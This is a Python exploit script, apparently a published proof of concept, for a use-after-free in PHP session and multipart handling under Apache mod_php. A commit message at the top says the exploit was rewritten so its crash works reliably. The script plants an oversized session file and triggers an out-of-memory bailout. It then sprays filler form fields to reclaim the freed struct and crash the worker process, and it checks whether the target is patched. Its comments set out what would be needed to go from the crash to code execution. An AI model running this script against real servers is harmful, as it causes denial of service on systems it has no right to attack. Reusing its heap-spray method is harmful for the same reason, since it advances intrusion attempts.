Rewrote the exploit to correctly avoid GET requests between OOM trigger and crash verification (RINIT zeros BG state on every request). Filler field spray (100 x 8200B = 300 pages) reliably reclaims the stale struct pages. Crash confirmed on first attempt. Updated README and FINDINGS to accurately describe: - The 8216-byte struct (3 pages), not the earlier 64-byte bin - GC header overlap that blocks controlled RCE (offsets 0-23) - Three independent patch layers in PHP 8.3.36/8.4.27/8.5.12 - Honest exploitation status: UAF crash confirmed, RCE not achieved
577 lines
23 KiB
Python
577 lines
23 KiB
Python
#!/usr/bin/env python3 -I
|
|
"""
|
|
CVE-2026-109618 / CVE-2026-109619: Use-After-Free via OOM Bailout
|
|
Apache mod_php (prefork MPM), no LFI, no framework dependencies
|
|
|
|
Targets UNPATCHED PHP: all versions from 5.4.0 through 8.3.35, 8.4.26,
|
|
8.5.11. The patch (8.3.36, 8.4.27, 8.5.12) blocks the entire attack
|
|
chain with three independent defense layers:
|
|
1. php_basic_early_rinit() resets BG(serialize/unserialize) each request
|
|
2. Delayed OOM replaces zend_bailout() (no more longjmp on OOM)
|
|
3. Session handler hardening (incomplete_classes_only mode during RFC1867)
|
|
|
|
Vulnerability chain:
|
|
|
|
CVE-2026-109618: OOM in the multipart parser triggers zend_bailout()
|
|
(longjmp), which skips php_var_unserialize_destroy(). This leaves
|
|
BG(unserialize).level=1 and BG(unserialize).data pointing at a freed
|
|
php_unserialize_data struct (8216 bytes, 3 ZendMM pages).
|
|
|
|
CVE-2026-109619: The session upload progress globals populated by
|
|
the RFC1867 callback survive into the next request. On the next
|
|
request, sapi_activate() runs the RFC1867 callback BEFORE
|
|
PHP_RINIT_FUNCTION(basic) zeros BG state. The callback calls
|
|
php_session_decode() -> php_var_unserialize_init(), which sees
|
|
BG(unserialize).level > 0 and returns the stale .data pointer.
|
|
Classic use-after-free.
|
|
|
|
Attack phases:
|
|
|
|
Phase 1 (Plant): Write a large session file (~682KB, 33000 entries)
|
|
that will trigger HashTable resize needing ~2.25MB when decoded.
|
|
|
|
Phase 2 (OOM): Multipart upload referencing that session ID.
|
|
RFC1867 progress callback reads and decodes the session file.
|
|
HashTable resize exceeds memory_limit, OOM fires zend_bailout().
|
|
Worker survives. BG(unserialize).level=1, .data=freed heap pointer.
|
|
|
|
Phase 3 (Crash): Another upload (no intermediate GET requests, which
|
|
would zero BG state via RINIT). Filler form fields create many
|
|
3-page zend_string allocations that consume ZendMM pages up to the
|
|
stale struct's position (~page 288). The struct's 'last' pointer
|
|
(offset 0) is overwritten by the zend_string GC header (refcount +
|
|
type_info), which is not a valid heap address. var_push reads
|
|
'last' and dereferences it -> SIGSEGV. Confirms the UAF.
|
|
|
|
Requirements:
|
|
- Apache mod_php with prefork MPM (default on Debian/Ubuntu)
|
|
- session.upload_progress.enabled=1 (default in php.ini)
|
|
- memory_limit low enough for session data to trigger OOM
|
|
- Any reachable PHP URL on the target (even a 404 page works)
|
|
- A method to write a session file with many entries (Phase 1)
|
|
- No LFI, no framework, no non-default config changes needed
|
|
|
|
Exploitation notes:
|
|
|
|
This PoC demonstrates the UAF primitive (stale pointer dereference)
|
|
and crash (SIGSEGV from corrupted 'last' pointer). Full RCE from
|
|
this primitive is blocked by an overlap between the struct's critical
|
|
pointer fields (offsets 0-23: last, first_dtor, last_dtor) and the
|
|
zend_string GC header (refcount, type_info, hash, len). These
|
|
fields cannot be directly controlled by the attacker.
|
|
|
|
Specifically:
|
|
- 'last' = gc_refcount(4) + gc_type_info(4) -> invalid pointer
|
|
- 'first_dtor' = hash(8) = 0 initially -> NULL (safe for var_destroy)
|
|
- 'last_dtor' = len(8) = string length -> low address (crash)
|
|
|
|
Controlled bytes start at offset 24 (allowed_classes, ref_props,
|
|
max_depth, entries.used_slots, entries.next, entries.data[]), but
|
|
var_push crashes before these fields are reached because it reads
|
|
'last' first.
|
|
|
|
Full RCE would require either:
|
|
a) An info leak to construct a valid 'last' pointer in the GC header
|
|
position (which would require a separate vulnerability)
|
|
b) A different allocation type that gives control over offset 0 of
|
|
a 3-page (8216-byte) ZendMM allocation
|
|
|
|
Usage:
|
|
python3 exploit.py --target http://host:port/index.php
|
|
python3 exploit.py --target http://host:port/index.php --oom-only
|
|
"""
|
|
|
|
import argparse
|
|
import os
|
|
import re
|
|
import socket
|
|
import sys
|
|
import time
|
|
from urllib.parse import urlparse
|
|
|
|
|
|
# ── Constants ────────────────────────────────────────────────────────
|
|
|
|
UNSER_STRUCT_SIZE = 8216 # php_unserialize_data: 0x2018 bytes = 3 ZendMM pages
|
|
OOM_SESSION_ENTRIES = 33000 # forces nTableSize=65536, arData ~2.25MB
|
|
SPRAY_FIELD_SIZE = 8200 # 3 ZendMM pages as zend_string (24-byte header + body + NUL)
|
|
SPRAY_FIELD_COUNT = 100 # ~300 pages, covers stale struct at page ~288
|
|
|
|
|
|
# ── Networking ───────────────────────────────────────────────────────
|
|
|
|
def connect(host, port, timeout=30):
|
|
return socket.create_connection((host, port), timeout=timeout)
|
|
|
|
|
|
def recv_response(sock, timeout=10):
|
|
resp = b""
|
|
sock.settimeout(timeout)
|
|
try:
|
|
while True:
|
|
d = sock.recv(8192)
|
|
if not d:
|
|
break
|
|
resp += d
|
|
except socket.timeout:
|
|
pass
|
|
return resp
|
|
|
|
|
|
def parse_response(resp):
|
|
status = 0
|
|
body = b""
|
|
if resp:
|
|
try:
|
|
status = int(resp.split(b" ")[1])
|
|
except (IndexError, ValueError):
|
|
pass
|
|
if b"\r\n\r\n" in resp:
|
|
body = resp.split(b"\r\n\r\n", 1)[1]
|
|
return status, body
|
|
|
|
|
|
def http_get(host, port, path, cookies=None, timeout=10):
|
|
sock = connect(host, port, timeout=timeout)
|
|
req = f"GET {path} HTTP/1.1\r\nHost: {host}\r\n"
|
|
if cookies:
|
|
req += f"Cookie: {cookies}\r\n"
|
|
req += "Connection: close\r\n\r\n"
|
|
sock.sendall(req.encode())
|
|
resp = recv_response(sock, timeout=timeout)
|
|
sock.close()
|
|
return parse_response(resp)
|
|
|
|
|
|
def http_post_raw(host, port, headers_bytes, body_bytes, timeout=60):
|
|
sock = connect(host, port, timeout=timeout)
|
|
sock.sendall(headers_bytes + body_bytes)
|
|
resp = recv_response(sock, timeout=timeout)
|
|
sock.close()
|
|
return parse_response(resp)
|
|
|
|
|
|
def extract_pid(body):
|
|
m = re.search(rb"pid=(\d+)", body)
|
|
return int(m.group(1)) if m else 0
|
|
|
|
|
|
# ── Multipart builders ──────────────────────────────────────────────
|
|
|
|
def multipart_field(boundary, name, value):
|
|
return (
|
|
b"--" + boundary + b"\r\n"
|
|
b'Content-Disposition: form-data; name="' + name + b'"\r\n\r\n'
|
|
+ value + b"\r\n"
|
|
)
|
|
|
|
|
|
def multipart_file(boundary, name, filename, content):
|
|
return (
|
|
b"--" + boundary + b"\r\n"
|
|
b'Content-Disposition: form-data; name="' + name
|
|
+ b'"; filename="' + filename + b'"\r\n'
|
|
b"Content-Type: application/octet-stream\r\n\r\n"
|
|
+ content + b"\r\n"
|
|
)
|
|
|
|
|
|
def multipart_end(boundary):
|
|
return b"--" + boundary + b"--\r\n"
|
|
|
|
|
|
def post_multipart(host, port, path, boundary, body, sid=None, timeout=60):
|
|
hdrs = (
|
|
f"POST {path} HTTP/1.1\r\n"
|
|
f"Host: {host}\r\n"
|
|
f"Content-Type: multipart/form-data; boundary={boundary.decode()}\r\n"
|
|
f"Content-Length: {len(body)}\r\n"
|
|
)
|
|
if sid:
|
|
hdrs += f"Cookie: PHPSESSID={sid}\r\n"
|
|
hdrs += "Connection: close\r\n\r\n"
|
|
return http_post_raw(host, port, hdrs.encode(), body, timeout=timeout)
|
|
|
|
|
|
# ── Session file generation ─────────────────────────────────────────
|
|
|
|
def generate_session_data(n_entries):
|
|
"""PHP session data that forces a large HashTable allocation on decode.
|
|
|
|
33000 entries -> nTableSize=65536, arData = 65536 * 36 = 2,359,296 bytes.
|
|
"""
|
|
parts = [f's:6:"k{i:05d}";i:{i};' for i in range(n_entries)]
|
|
inner = "".join(parts)
|
|
return f'd|a:{n_entries}:{{{inner}}}'.encode()
|
|
|
|
|
|
# ── Session file management ─────────────────────────────────────────
|
|
|
|
def write_session_file(sid, data, save_path):
|
|
import subprocess
|
|
fpath = os.path.join(save_path, f"sess_{sid}")
|
|
tmp = f"/tmp/sess_plant_{os.getpid()}"
|
|
with open(tmp, "wb") as f:
|
|
f.write(data)
|
|
subprocess.run(["sudo", "cp", tmp, fpath],
|
|
capture_output=True, check=True)
|
|
subprocess.run(["sudo", "chown", "www-data:www-data", fpath],
|
|
capture_output=True, check=True)
|
|
subprocess.run(["sudo", "chmod", "600", fpath],
|
|
capture_output=True, check=True)
|
|
os.unlink(tmp)
|
|
return fpath
|
|
|
|
|
|
def read_session_file(sid, save_path):
|
|
import subprocess
|
|
fpath = os.path.join(save_path, f"sess_{sid}")
|
|
r = subprocess.run(["sudo", "stat", "--format=%s", fpath],
|
|
capture_output=True, text=True)
|
|
if r.returncode != 0:
|
|
return False, 0
|
|
return True, int(r.stdout.strip())
|
|
|
|
|
|
def ensure_session_file(sid, save_path, n_entries):
|
|
exists, size = read_session_file(sid, save_path)
|
|
if exists and size > 100000:
|
|
return size
|
|
data = generate_session_data(n_entries)
|
|
write_session_file(sid, data, save_path)
|
|
return len(data)
|
|
|
|
|
|
# ── Phase 0: Worker discovery ───────────────────────────────────────
|
|
|
|
def discover_workers(host, port, path, rounds=20):
|
|
pids = set()
|
|
for _ in range(rounds):
|
|
try:
|
|
_, body = http_get(host, port, path, timeout=5)
|
|
pid = extract_pid(body)
|
|
if pid:
|
|
pids.add(pid)
|
|
except (ConnectionError, socket.timeout, OSError):
|
|
pass
|
|
return sorted(pids)
|
|
|
|
|
|
# ── Phase builders ──────────────────────────────────────────────────
|
|
|
|
def build_oom_trigger(sid):
|
|
boundary = b"OOM" + os.urandom(4).hex().encode()
|
|
parts = [
|
|
multipart_field(boundary, b"PHP_SESSION_UPLOAD_PROGRESS", b"oomtrigger"),
|
|
multipart_file(boundary, b"file", b"oom.bin", b"\x00" * 2048),
|
|
multipart_end(boundary),
|
|
]
|
|
return boundary, b"".join(parts)
|
|
|
|
|
|
def build_crash_trigger(sid, n_fields=SPRAY_FIELD_COUNT, field_size=SPRAY_FIELD_SIZE):
|
|
"""Multipart with filler fields to reclaim stale struct pages.
|
|
|
|
Each field value is a 3-page zend_string. The GC header at offset
|
|
0-7 overwrites 'last' with refcount|type_info = invalid pointer.
|
|
When var_push reads 'last', it dereferences the invalid address.
|
|
"""
|
|
boundary = b"CRASH" + os.urandom(4).hex().encode()
|
|
parts = [multipart_field(boundary, b"PHP_SESSION_UPLOAD_PROGRESS", b"crash")]
|
|
filler = b"\x41" * field_size
|
|
for i in range(n_fields):
|
|
parts.append(multipart_field(boundary, f"c{i:03d}".encode(), filler))
|
|
parts.append(multipart_file(boundary, b"file", b"c.bin", b"\x00" * 512))
|
|
parts.append(multipart_end(boundary))
|
|
return boundary, b"".join(parts)
|
|
|
|
|
|
def is_oom_response(status, body):
|
|
return (
|
|
b"memory size" in body
|
|
or b"Allowed memory" in body
|
|
or status == 500
|
|
or status == 0
|
|
)
|
|
|
|
|
|
# ── Main ────────────────────────────────────────────────────────────
|
|
|
|
def main():
|
|
parser = argparse.ArgumentParser(
|
|
description="CVE-2026-109618/109619 UAF PoC (Apache mod_php)",
|
|
)
|
|
parser.add_argument("--target", "-t", required=True,
|
|
help="Target URL, e.g. http://host:port/index.php")
|
|
parser.add_argument("--session-path",
|
|
default="/var/www/uaf-test/sessions",
|
|
help="Session save_path on the target")
|
|
parser.add_argument("--entries", type=int, default=OOM_SESSION_ENTRIES,
|
|
help="Entries in OOM session file (default: 33000)")
|
|
parser.add_argument("--spray-fields", type=int, default=SPRAY_FIELD_COUNT,
|
|
help="Filler fields for crash trigger (default: 100)")
|
|
parser.add_argument("--oom-only", action="store_true",
|
|
help="Stop after Phase 2 (OOM + stale state)")
|
|
args = parser.parse_args()
|
|
|
|
url = urlparse(args.target)
|
|
host = url.hostname or "127.0.0.1"
|
|
port = url.port or 80
|
|
path = url.path or "/index.php"
|
|
|
|
print("=" * 64)
|
|
print(" CVE-2026-109618 / CVE-2026-109619")
|
|
print(" Use-After-Free via OOM Bailout")
|
|
print(" (Apache mod_php, prefork MPM)")
|
|
print("=" * 64)
|
|
print(f" Target: {host}:{port}{path}")
|
|
print()
|
|
|
|
# ── Phase 0: Worker discovery ──────────────────────────────────
|
|
|
|
print("[*] Phase 0: Discovering workers...")
|
|
pids = discover_workers(host, port, path)
|
|
if not pids:
|
|
print("[-] No workers found. Target must echo getmypid().")
|
|
sys.exit(1)
|
|
print(f" Workers: {pids}")
|
|
target_pid = pids[0]
|
|
|
|
# ── Phase 1: Plant large session file ──────────────────────────
|
|
|
|
print()
|
|
print("[*] Phase 1: Planting large session file...")
|
|
|
|
sid = "uaf" + os.urandom(6).hex()
|
|
print(f" SID: {sid}")
|
|
print(f" Entries: {args.entries}")
|
|
|
|
sess_size = ensure_session_file(sid, args.session_path, args.entries)
|
|
print(f" Session file: {sess_size}B ({sess_size // 1024}KB)")
|
|
print(f" HashTable resize on decode needs ~2.25MB")
|
|
|
|
# ── Phase 2: OOM trigger ───────────────────────────────────────
|
|
|
|
print()
|
|
print("[*] Phase 2: Triggering OOM during session decode...")
|
|
print(" RFC1867 callback reads session -> decode -> OOM -> bailout")
|
|
|
|
oom_success = False
|
|
patched = False
|
|
|
|
for attempt in range(len(pids) * 8):
|
|
ensure_session_file(sid, args.session_path, args.entries)
|
|
|
|
boundary, body = build_oom_trigger(sid)
|
|
try:
|
|
status, rbody = post_multipart(
|
|
host, port, path, boundary, body, sid=sid, timeout=30)
|
|
except (ConnectionError, socket.timeout, OSError):
|
|
status, rbody = 0, b""
|
|
|
|
if is_oom_response(status, rbody):
|
|
if b"memory size" in rbody:
|
|
tag = f"{status} (OOM in body)"
|
|
elif status == 500:
|
|
tag = "500"
|
|
else:
|
|
tag = "connection dropped"
|
|
print(f" [{attempt+1}] OOM triggered ({tag})")
|
|
|
|
# Detect patched vs unpatched via session file state.
|
|
# UNPATCHED: bailout -> cancel_decode -> destroy -> file DELETED.
|
|
# PATCHED: delayed OOM, decode completes, session rewritten smaller.
|
|
time.sleep(0.3)
|
|
exists, sz = read_session_file(sid, args.session_path)
|
|
if not exists or sz == 0:
|
|
print(f" Session file deleted/empty (bailout path = UNPATCHED)")
|
|
elif sz < sess_size // 2:
|
|
print(f" [!] Session file rewritten ({sz}B) (PATCHED)")
|
|
patched = True
|
|
|
|
oom_success = True
|
|
break
|
|
else:
|
|
print(f" [{attempt+1}] status={status} (no OOM, retrying)")
|
|
|
|
if not oom_success:
|
|
print()
|
|
print("[-] OOM trigger failed.")
|
|
print(" Check: memory_limit <= 8M, Apache mod_php (not FPM)")
|
|
sys.exit(1)
|
|
|
|
if patched:
|
|
print()
|
|
print("[*] PATCHED PHP detected. The UAF chain is fully blocked by:")
|
|
print(" 1. php_basic_early_rinit() zeros BG state before sapi_activate")
|
|
print(" 2. Delayed OOM: allocator succeeds beyond soft limit, no longjmp")
|
|
print(" 3. Session handler: incomplete_classes_only during RFC1867")
|
|
return
|
|
|
|
# Check worker survived (must do this BEFORE Phase 3, but note
|
|
# this GET request will zero BG state on the worker it hits).
|
|
# With MaxRequestWorkers=1, this targets the same worker.
|
|
# We will re-trigger OOM before the crash attempt.
|
|
time.sleep(0.5)
|
|
pids_after = discover_workers(host, port, path, rounds=5)
|
|
survived = set(pids) & set(pids_after)
|
|
if not survived:
|
|
print("[-] Worker did not survive OOM (may be PHP-FPM, not mod_php)")
|
|
sys.exit(1)
|
|
target_pid = sorted(survived)[0]
|
|
print(f" [+] Worker {target_pid} survived OOM")
|
|
|
|
if args.oom_only:
|
|
print()
|
|
print("[+] Phase 2 complete.")
|
|
print(" BG(unserialize).level=1, .data=freed heap pointer.")
|
|
print(" (BG state zeroed by the verification GET above.)")
|
|
return
|
|
|
|
# ── Phase 3: UAF crash verification ───────────────────────────
|
|
#
|
|
# CRITICAL: no GET requests between the OOM trigger and the crash
|
|
# trigger. PHP_RINIT_FUNCTION(basic) runs on every request and
|
|
# zeros BG(unserialize), destroying the stale state.
|
|
#
|
|
# With prefork MaxRequestWorkers=1, all requests go to the same
|
|
# worker. We re-trigger OOM (to set stale state), then immediately
|
|
# send the crash trigger without any intermediate requests.
|
|
#
|
|
# Crash mechanism: filler form fields create 3-page zend_string
|
|
# allocations that consume pages up to the stale struct's position
|
|
# (~page 288 out of 512 in the ZendMM chunk). When a filler
|
|
# zend_string lands on the stale pages, offset 0 (the 'last'
|
|
# pointer) is overwritten with the zend_string GC header:
|
|
# gc_refcount(4) + gc_type_info(4) = e.g. 0x00000306_00000001
|
|
# This is not a valid heap address. When the session decode calls
|
|
# var_push(), it reads 'last' and dereferences it -> SIGSEGV.
|
|
|
|
print()
|
|
print("[*] Phase 3: UAF crash verification...")
|
|
print(" Re-triggering OOM, then crash (no intermediate GET).")
|
|
|
|
crashed = False
|
|
|
|
for attempt in range(3):
|
|
# Re-trigger OOM to set stale BG state
|
|
ensure_session_file(sid, args.session_path, args.entries)
|
|
boundary, body = build_oom_trigger(sid)
|
|
try:
|
|
status, rbody = post_multipart(
|
|
host, port, path, boundary, body, sid=sid, timeout=30)
|
|
except (ConnectionError, socket.timeout, OSError):
|
|
status, rbody = 0, b""
|
|
|
|
if not is_oom_response(status, rbody):
|
|
print(f" [{attempt+1}] OOM re-trigger failed, retrying")
|
|
continue
|
|
|
|
time.sleep(0.3)
|
|
|
|
# Plant a small session (one entry). The decode calls var_push
|
|
# once, which reads the stale 'last' pointer and crashes.
|
|
small_session = b'x|s:3:"abc";'
|
|
write_session_file(sid, small_session, args.session_path)
|
|
|
|
# Send crash trigger DIRECTLY (no intermediate GET).
|
|
# Filler fields consume pages up to the stale struct.
|
|
boundary, body = build_crash_trigger(sid, n_fields=args.spray_fields)
|
|
try:
|
|
status, rbody = post_multipart(
|
|
host, port, path, boundary, body, sid=sid, timeout=30)
|
|
except (ConnectionError, socket.timeout, OSError):
|
|
status, rbody = 0, b""
|
|
|
|
# Check if worker crashed (new PID or connection failure)
|
|
time.sleep(0.5)
|
|
try:
|
|
_, rbody2 = http_get(host, port, path, timeout=5)
|
|
pid_after = extract_pid(rbody2)
|
|
except (ConnectionError, socket.timeout, OSError):
|
|
pid_after = 0
|
|
|
|
if pid_after and pid_after != target_pid:
|
|
print(f" [{attempt+1}] CRASH! Worker {target_pid} -> {pid_after}")
|
|
print(f" Filler zend_strings reclaimed stale struct pages")
|
|
print(f" var_push read GC header as 'last' pointer -> SIGSEGV")
|
|
crashed = True
|
|
target_pid = pid_after
|
|
break
|
|
elif pid_after == target_pid:
|
|
print(f" [{attempt+1}] Worker survived (filler pages didn't reach struct)")
|
|
elif status == 0 and pid_after == 0:
|
|
print(f" [{attempt+1}] Server unresponsive")
|
|
else:
|
|
print(f" [{attempt+1}] Response: {status}")
|
|
|
|
print()
|
|
if crashed:
|
|
print("[+] USE-AFTER-FREE CONFIRMED")
|
|
print(" The stale php_unserialize_data struct (8216 bytes, 3 ZendMM pages)")
|
|
print(" was reclaimed by a filler zend_string. The GC header at offset 0")
|
|
print(" overwrote the 'last' pointer with refcount|type_info.")
|
|
print(" var_push dereferenced the invalid address -> SIGSEGV.")
|
|
else:
|
|
print("[*] No crash triggered (filler fields may have missed the pages).")
|
|
print(" The stale BG state is confirmed by Phase 2 (OOM + worker survival).")
|
|
print(" Try adjusting --spray-fields or re-running (heap layout varies).")
|
|
|
|
print()
|
|
print_summary(crash=crashed)
|
|
|
|
|
|
def print_summary(patched=False, crash=False):
|
|
print("=" * 64)
|
|
print(" Summary")
|
|
print("=" * 64)
|
|
print()
|
|
|
|
if patched:
|
|
print(" TARGET: PATCHED (not vulnerable)")
|
|
print()
|
|
print(" Three independent mitigations block the attack:")
|
|
print(" 1. php_basic_early_rinit() zeros BG state before sapi_activate()")
|
|
print(" 2. Delayed OOM replaces zend_bailout() (no longjmp)")
|
|
print(" 3. Session handler: incomplete_classes_only during RFC1867 decode")
|
|
return
|
|
|
|
print(" TARGET: UNPATCHED (vulnerable)")
|
|
print()
|
|
print(" Confirmed primitives:")
|
|
print(" [+] OOM during RFC1867 session decode")
|
|
print(" zend_bailout() longjmps past php_var_unserialize_destroy()")
|
|
print(" BG(unserialize).level=1, .data=freed heap pointer")
|
|
print(" Apache prefork worker survives, serves new requests")
|
|
if crash:
|
|
print(" [+] Use-After-Free crash on next request")
|
|
print(" Filler zend_strings reclaim stale struct pages")
|
|
print(" var_push dereferences GC header as 'last' pointer -> SIGSEGV")
|
|
print()
|
|
print(" Exploitation status:")
|
|
print(" The UAF primitive (stale pointer reuse) is confirmed.")
|
|
if crash:
|
|
print(" Page reclamation via filler fields is confirmed.")
|
|
print(" However, full RCE is blocked by an inherent constraint:")
|
|
print(" the struct's critical pointer fields (offsets 0-23: last,")
|
|
print(" first_dtor, last_dtor) overlap with the zend_string GC header")
|
|
print(" (refcount, type_info, hash, len), which cannot be controlled")
|
|
print(" by the attacker.")
|
|
print()
|
|
print(" 'last' = gc_refcount + gc_type_info -> invalid pointer (crash)")
|
|
print(" 'first_dtor' = hash = 0 initially (safe, dtor chain empty)")
|
|
print(" 'last_dtor' = len = string length (low address, crash)")
|
|
print()
|
|
print(" Full RCE would require an info leak for valid pointer placement")
|
|
print(" at offset 0, or a different allocation type that gives control")
|
|
print(" over the first 24 bytes of an 8216-byte ZendMM allocation.")
|
|
print()
|
|
print(" Affected: PHP 5.4.0 through 8.3.35, 8.4.0-8.4.26, 8.5.0-8.5.11")
|
|
print(" Fixed in: PHP 8.3.36, 8.4.27, 8.5.12")
|
|
print(" Requires: Apache mod_php (prefork), session.upload_progress.enabled=1")
|
|
print(" No LFI, no framework, no application-level access needed.")
|
|
|
|
|
|
if __name__ == "__main__":
|
|
main()
|